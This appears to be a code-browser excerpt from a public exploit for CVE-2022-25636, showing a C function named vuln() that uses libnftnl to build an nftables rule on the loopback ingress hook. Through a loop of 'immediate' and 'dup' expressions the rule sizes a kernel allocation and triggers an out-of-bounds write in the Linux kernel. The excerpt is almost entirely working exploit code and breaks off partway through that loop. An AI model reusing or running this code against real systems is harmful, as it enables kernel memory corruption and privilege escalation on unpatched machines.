Function vuln

CVE-2022-25636/exploit/exploit.c:112–216

vuln() —— trigger OOB write (legit_writes - # of legit rules; oob_writes - # of OOB rules)

}
// vuln() —— trigger OOB write   (legit_writes - # of legit rules; oob_writes - # of OOB rules)
void vuln(int oob_writes, int legit_writes) {
  // setup table
  struct nftnl_table *table = nftnl_table_alloc();
  nftnl_table_set_str(table, NFTNL_TABLE_NAME, "x");  // table x
  nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);

  // chain
  struct nftnl_chain *chain = nftnl_chain_alloc();
  nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "x"); 
  nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, "y");  // chain y
  nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_NETDEV_INGRESS);
  nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 10);
  nftnl_chain_set_str(chain, NFTNL_CHAIN_DEV, "lo");
  nftnl_chain_set_str(chain, NFTNL_CHAIN_TYPE, "filter");
  //rule
  struct nftnl_rule *rule = nftnl_rule_alloc();
  nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, "x");
  nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, "y");
  // expression
  struct nftnl_expr *exprs[128];
  int exprid = 0;

  exprs[exprid] = nftnl_expr_alloc("meta");
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_META_KEY, NFT_META_PROTOCOL);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_META_DREG, NFT_REG_1);
  nftnl_rule_add_expr(rule, exprs[exprid]);
  exprid++;

  exprs[exprid] = nftnl_expr_alloc("cmp");
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_SREG, NFT_REG_1);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_OP, NFT_CMP_EQ);
  nftnl_expr_set_u16(exprs[exprid], NFTNL_EXPR_CMP_DATA, 8);
  nftnl_rule_add_expr(rule, exprs[exprid]);
  exprid++;

  exprs[exprid] = nftnl_expr_alloc("payload");
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_BASE, NFT_PAYLOAD_NETWORK_HEADER);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_OFFSET, 16);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_LEN, 4);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1);
  nftnl_rule_add_expr(rule, exprs[exprid]);
  exprid++;

  exprs[exprid] = nftnl_expr_alloc("cmp");
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_SREG, NFT_REG_1);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_OP, NFT_CMP_EQ);
  nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_CMP_DATA, 0x0200007f);
  nftnl_rule_add_expr(rule, exprs[exprid]);
  exprid++;

// # of legit rules - control the targeted kmalloc size
  for (int i = 0; i < legit_writes; i++) {
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");